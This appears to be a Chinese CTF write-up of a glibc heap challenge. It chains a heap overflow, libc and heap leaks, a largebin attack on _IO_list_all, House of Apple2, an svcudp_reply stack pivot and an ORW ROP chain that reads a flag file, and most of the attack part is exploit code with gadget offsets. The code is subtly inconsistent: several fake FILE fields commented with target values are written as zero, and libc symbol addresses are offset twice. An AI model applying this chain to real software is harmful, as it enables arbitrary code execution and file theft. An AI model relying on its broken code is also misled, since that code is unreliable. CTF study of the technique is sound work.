protobuf协议的堆布局利用
字数 3748
更新时间 2026-03-23 22:12:17

利用堆溢出实现从信息泄露到House of Apple2的完整利用链解析

一、题目概述与漏洞定位

1.1 漏洞本质

本题目存在一个标准的堆溢出漏洞,核心漏洞点在edit功能。程序逻辑伪代码如下:

# 漏洞代码逻辑
def edit(idx, new_data, new_size):
    ptr = chunks[idx]  # 获取原有chunk指针
    # 关键问题:没有检查new_size是否小于原chunk大小
    memcpy(ptr, new_data, new_size)  # 直接使用用户传入的new_size

利用方式:

  1. 先申请一个小chunk(例如0x100字节)
  2. 在edit时传入一个更大的size(例如0x200)
  3. 程序会直接覆盖后续chunk的header和相邻数据

1.2 程序限制

  • 最多可创建15个chunk
  • 单次操作大小限制为0x500字节
  • 使用protobuf协议通信,需注意:
    • 长度头为4字节小端(p32)
    • heap_chunks_id和chunk_sizes是repeated类型

二、整体利用路线

完整利用链可分为六个阶段:

  1. 构造可控重叠:利用溢出制造重叠chunk,将show功能转化为信息泄露工具
  2. 泄露libc基址:通过free chunk残留指针泄露main_arena地址
  3. 泄露堆基址:进一步扩大观察窗口,计算堆区域真实基址
  4. Largebin Attack:修改_IO_list_all指向堆上的chunk header
  5. House of Apple2:通过IO链触发magic gadget
  6. 栈迁移执行ORW:利用svcudp_reply实现栈迁移,最终执行ORW链读取flag

三、堆风水布局设计

3.1 chunk尺寸选择

# 推荐布局
add(0, 0x420)  # chunk0
add(1, 0x420)  # chunk1
add(2, 0x420)  # chunk2 - 关键溢出点
add(3, 0x420)  # chunk3
add(4, 0x410)  # chunk4
add(5, 0x410)  # chunk5
add(6, 0x410)  # chunk6

尺寸选择理由

  • 0x420:足够大以进入unsorted/largebin,同时为chunk2提供充足的溢出空间
  • 0x410:作为隔离和承接区域,稳定堆布局
  • 确保总大小不超过0x500限制

3.2 堆布局目标

+-----------------+
| chunk0 (0x420)  |
+-----------------+
| chunk1 (0x420)  |
+-----------------+
| chunk2 (0x420)  | <-- 从此处开始溢出
+-----------------+
| chunk3 (0x420)  |
+-----------------+
| chunk4 (0x410)  |
+-----------------+
| chunk5 (0x410)  |
+-----------------+
| chunk6 (0x410)  |
+-----------------+

四、信息泄露阶段

4.1 libc基址泄露

# 步骤1:制造重叠
free(3)  # 释放chunk3进入unsorted bin
edit(2, b'@'*0x420 + p64(0) + p64(0x431) + b'@'*0x10, 0x440)

# 步骤2:通过show泄露libc指针
show(2)
# 接收数据直到对齐标记
io.recvuntil(b'@'*0x10)
# 读取libc指针
leak = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = leak - 0x219ce0  # 偏移需根据实际libc版本调整

原理

  • free后的chunk在unsorted bin中会残留指向main_arena的指针
  • 通过调整chunk边界,show时会将这些指针一并输出
  • 使用@作为对齐标记确保稳定读取

4.2 堆基址泄露

# 继续扩大溢出范围
edit(2, b'A'*0x420 + p64(0) + p64(0x4a1), 0x440)
free(4)  # 释放chunk4
show(2)
# 读取堆指针并计算堆基址
heap_leak = u64(io.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak - 0x290  # 偏移需根据实际布局调整

关键点

  • 泄露的地址通常不是最干净的堆基址,而是中间某个位置
  • 需要通过已知偏移反向计算真实堆基址
  • 公式中的修正项不是魔法数,而是根据实际内存布局计算得出

五、Largebin Attack修改_IO_list_all

5.1 Largebin Attack原理

利用largebin处理逻辑,在特定条件下让glibc自身修改目标地址:

  • 伪造largebin chunk的bk_nextsize指针
  • 通过malloc触发largebin整理
  • glibc会将目标地址写入_IO_list_all

5.2 具体实现

# 计算目标地址
file_addr = heap_base + 0x6180  # 指向chunk header,不是FILE结构起点

# 构造largebin attack payload
payload = b'B'*0x420
payload += p64(0) + p64(0x4a1)  # chunk3 header
payload += p64(libc_base + 0x219ce0)  # fd
payload += p64(file_addr - 0x20)       # bk
payload += p64(0)                     # fd_nextsize
payload += p64(libc.sym['_IO_list_all'] - 0x20)  # bk_nextsize - 关键!

edit(2, payload, len(payload))

# 触发largebin整理
add(7, 0x480)

核心认知

  • _IO_list_all指向的是chunk header起点,而不是FILE结构起点(+0x0位置)
  • 这意味着后续fake FILE布局需要从FILE+0x10位置开始
  • 这是后续所有偏移计算的关键前提

六、House of Apple2利用链

6.1 为什么选择House of Apple2

  • 栈泄露路径不顺畅
  • 现有堆布局非常适合IO攻击
  • 已具备libc和heap基址,满足House of Apple2条件
  • magic gadget在glibc 2.35中可用:svcudp_reply+26

6.2 Fake FILE部分覆盖布局

由于_IO_list_all指向chunk header,实际布局为:

+---------------------+
| chunk header        |  <-- _IO_list_all指向这里
| (prev_size, size)   |
+---------------------+
| _flags (partial)    |  <-- FILE+0x0,但被chunk header部分覆盖
| ...                 |
+---------------------+
| fake FILE主体       |  <-- 实际从FILE+0x10开始写入
| 从_IO_read_ptr开始  |
+---------------------+

6.3 关键字段设置

# partial fake FILE布局
fake_file = b''
# chunk header部分
fake_file += p64(0) + p64(0)  # 清空,避免_FLAGS残留0x800

# 从FILE+0x10开始
fake_file += p64(0)                     # _IO_read_ptr
fake_file += p64(0)                     # _IO_read_end
fake_file += p64(0)                     # _IO_read_base
fake_file += p64(0)                     # _IO_write_base
fake_file += p64(1)                     # _IO_write_ptr
fake_file += p64(0)                     # _IO_write_end
fake_file += p64(0)                     # _IO_buf_base
fake_file += p64(0)                     # _IO_buf_end
fake_file += p64(0)                     # _IO_save_base = chunk0地址
fake_file += p64(0)                     # _IO_backup_base
fake_file += p64(0)                     # _IO_save_end
fake_file += p64(0)                     # _markers
fake_file += p64(0)                     # _chain
fake_file += p64(0)                     # _fileno
fake_file += p64(0)                     # _flags2
fake_file += p64(0)                     # _old_offset
fake_file += p64(0)                     # _cur_column
fake_file += p16(0)                     # _vtable_offset
fake_file += p16(0)                     # _shortbuf
fake_file += p64(0)                     # _lock
fake_file += p64(0)                     # _offset
fake_file += p64(0)                     # _codecvt
fake_file += p64(0)                     # _wide_data = file_addr + 0x8
fake_file += p64(0)                     # _freeres_list
fake_file += p64(0)                     # _freeres_buf
fake_file += p64(0)                     # __pad5
fake_file += p32(0)                     # _mode
fake_file += p32(0)                     # _unused2
fake_file += p64(0)*3                   # 填充
fake_file += p64(libc_base + 0x2160c0)  # vtable

6.4 wide_data和wide_vtable设置

# _wide_data结构
wide_data = p64(0)*4
wide_data += p64(0)  # _IO_write_base
wide_data += p64(1)  # _IO_write_ptr
wide_data += p64(0)  # _IO_write_end
wide_data += p64(0)  # _IO_buf_base
wide_data += p64(0)  # _IO_buf_end
wide_data += p64(0)*4
wide_data += p64(magic_gadget)  # 关键:wide_vtable+0x68

注意对齐

  • _wide_data需要指向file_addr + 0x8,以避开chunk header的影响
  • magic_gadget必须放在wide_vtable + 0x68位置
  • 两个qword顺序不能颠倒

七、常见调试点与解决方案

7.1 五个关键调试坑点

坑点1:_wide_data起点错位0x8

现象_IO_read_ptr读取到chunk header的脏数据,写缓冲字段整体串位
解决方案:将_wide_data后移一个qword,重新对齐写缓冲字段

坑点2:_wide_vtable和magic_gadget顺序颠倒

现象:程序将gadget本身当作_wide_vtable指针读取
正确顺序wide_data -> wide_vtable -> magic_gadget
错误顺序wide_data -> magic_gadget -> wide_vtable

坑点3:_flags残留0x800

现象:控制流不进入_IO_wdoallocbuf,而是走偏
解决方案:清空chunk header对应位置

p64(0xfbad1800)  # 保留_IO_MAGIC,清掉多余低位flag

坑点4:svcudp_reply+30崩溃,rbp为空

现象mov rax, [rbp+0x18]访问空指针
原因_IO_save_base(fp+0x48)为0
解决方案:将_IO_save_base设置为chunk0地址

坑点5:fake xdr_ops未填充

现象call [rax+0x28]访问空指针表
解决方案:在chunk0+0x18位置布置fake xdr_ops表

# 只需要填充x_setpostn槽位
fake_xdr_ops = p64(0)*5  # 前5个槽位
fake_xdr_ops += p64(libc_base + 0x000000000005a1d5)  # leave_ret gadget

八、svcudp_reply栈迁移详解

8.1 控制流转换

svcudp_reply+26:
mov    rbp, qword [rdi+0x48]    ; rdi=fake_FILE, rbp=_IO_save_base=chunk0
mov    rax, qword [rbp+0x18]    ; rax=fake_xdr_ops
call   qword [rax+0x28]         ; 调用x_setpostn=leave_ret

8.2 chunk0内存布局

chunk0+0x00:  "./flag\x00"           # 字符串,会被pop rbp消费
chunk0+0x08:  add_rsp_18 gadget      # 返回地址
chunk0+0x10:  0x0                    # 会被svcudp_reply清零
chunk0+0x18:  fake_xdr_ops指针      # 关键:指向fake xdr_ops表
chunk0+0x20:  无关数据              # 会被add rsp,0x18跳过
chunk0+0x28:  ORW链开始

8.3 栈迁移过程

  1. leave执行:rsp = rbp = chunk0
  2. pop rbprbp = "./flag"(字符串地址)
  3. ret:跳转到add_rsp_18 gadget
  4. add rsp, 0x18:跳过前面三格
  5. 执行真正的ORW链

九、ORW链设计

9.1 ORW链结构

# ORW ROP链
rop_chain = [
    # close(0) - 确保fd 0可用
    libc_base + 0xebcf1,  # pop rdi; ret
    0,                    # fd = 0
    libc_base + libc.sym['close'],
    
    # open("./flag", O_RDONLY)
    libc_base + 0xebcf1,  # pop rdi; ret
    heap_base + 0x6190,   # "./flag"字符串地址
    libc_base + 0xe3b2e,  # pop rsi; ret
    0,                    # O_RDONLY
    libc_base + 0xde7f9,  # pop rdx; ret
    0,
    libc_base + libc.sym['open'],
    
    # read(0, buf, 0x100)
    libc_base + 0xebcf1,  # pop rdi; ret
    0,                    # fd = 0(open返回的)
    libc_base + 0xe3b2e,  # pop rsi; ret
    heap_base + 0x7000,   # 缓冲区地址
    libc_base + 0xde7f9,  # pop rdx; ret
    0x100,                # 读取长度
    libc_base + libc.sym['read'],
    
    # write(1, buf, len)
    libc_base + 0xebcf1,  # pop rdi; ret
    1,                    # fd = stdout
    libc_base + 0xe3b2e,  # pop rsi; ret
    heap_base + 0x7000,   # 缓冲区地址
    libc_base + 0xde7f9,  # pop rdx; ret
    0x100,                # 写入长度
    libc_base + libc.sym['write']
]

9.2 设计要点

  1. 先close(0):确保open返回的fd为0,简化后续read调用
  2. 字符串放置"./flag"放在chunk0开头,虽然会被pop rbp消费,但不影响使用
  3. 缓冲区选择:选择堆上未使用的区域作为读写缓冲区

十、最终内存布局总览

heap_base + 0x6180:  [chunk header]        <-- _IO_list_all指向这里
             +0x6188:  [chunk header cont.]
             +0x6190:  "./flag\x00"         # 字符串
             +0x6198:  add_rsp_18 gadget    # 栈迁移
             +0x61a0:  0x0                   # 被清零区域
             +0x61a8:  fake_xdr_ops指针     # 指向xdr_ops表
             +0x61b0:  无关数据
             +0x61b8:  ORW链开始
             
             +0x6200:  partial fake FILE    # 从FILE+0x10开始
             +0x6280:  _wide_data
             +0x6300:  wide_vtable
             
heap_base + 0x7000:  读写缓冲区

十一、调试检查清单

11.1 分阶段调试策略

第一阶段:验证协议和交互

  • [ ] 确认菜单映射:1=add, 2=free, 3=edit, 4=show, 5=exit
  • [ ] 确认长度头使用p32
  • [ ] 确认protobuf封装正确
  • [ ] 本地gdb附加不影响交互

第二阶段:验证信息泄露

  • [ ] show(2)能否稳定对齐到@*0x10标记
  • [ ] libc泄露地址每次是否在同一区域
  • [ ] 堆泄露地址能否稳定计算堆基址

第三阶段:验证Largebin Attack

  • [ ] 直接检查_IO_list_all是否指向堆地址
  • [ ] 确认指向的是chunk header(heap+0x6180)
  • [ ] 不是指向原始_IO_2_1_stderr_

第四阶段:验证IO链触发

  • [ ] 在_IO_flush_all_lockp下断点
  • [ ] 确认触发路径:_IO_wfile_overflow -> _IO_wdoallocbuf
  • [ ] 检查_flags & 0x800是否被清空

第五阶段:验证Apple2字段

  • [ ] _wide_data == file_addr + 0x8
  • [ ] _IO_write_base == 0
  • [ ] _IO_write_ptr == 1
  • [ ] _wide_vtable + 0x68 == magic_gadget

第六阶段:验证svcudp_reply

  • [ ] rbp = [fp+0x48] = chunk0
  • [ ] rax = [rbp+0x18] = fake_xdr_ops
  • [ ] call [rax+0x28] = leave_ret

第七阶段:验证ORW执行

  • [ ] chunk0开头仍是"./flag"
  • [ ] add_rsp_18正确执行
  • [ ] open返回fd=0
  • [ ] read/write正常执行

十二、关键代码片段

12.1 协议封装

def add_chunk(idx, size):
    req = p32(0)  # 长度头占位
    req += b'\x0a' + p8(1) + p8(idx)        # heap_chunks_id
    req += b'\x12' + p8(2) + p16(size)      # chunk_sizes
    req = p32(len(req) - 4) + req[4:]       # 更新长度头
    return req

12.2 双泄露实现

# libc泄露
free(3)
edit(2, b'@'*0x420 + p64(0) + p64(0x431) + b'@'*0x10, 0x440)
show(2)
io.recvuntil(b'@'*0x10)
libc_leak = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = libc_leak - 0x219ce0

# 堆泄露
edit(2, b'A'*0x420 + p64(0) + p64(0x4a1), 0x440)
free(4)
show(2)
io.recv(0x430)
heap_leak = u64(io.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak - 0x290

12.3 最终触发

# 布置fake FILE
edit(8, fake_file_payload, len(fake_file_payload))

# 布置chunk0
edit(0, orw_payload, len(orw_payload))

# 触发IO链
quit_menu()  # 关键触发点

十三、经验总结

13.1 核心教训

  1. 错位是最大敌人:利用链的难点往往不是思路,而是实际写入位置与解释器读取位置之间的错位
  2. 分阶段验证:不要一次性调试整个复杂链,按阶段逐步验证
  3. 最小化修改:当前层问题未解决前,不要修改下一层
  4. 结构对齐优先:确保每个结构字段都位于正确偏移

13.2 利用链本质

这道题展示了一个标准的从堆溢出到完整利用的演进过程:

  • 从简单溢出开始
  • 通过可控重叠获取信息泄露
  • 利用largebin attack修改关键全局指针
  • 通过精心构造的IO链实现控制流劫持
  • 最终通过栈迁移执行ORW

每个步骤都有其特定目的,且后一步依赖前一步的成功执行。调试时需要保持耐心,逐步验证每个环节的正确性。

文档未详述此点,但基于我所掌握的知识,这种利用模式在CTF堆题中较为常见,需要深入理解glibc内存管理机制和IO_FILE结构才能有效利用。

相似文章
相似文章
 全屏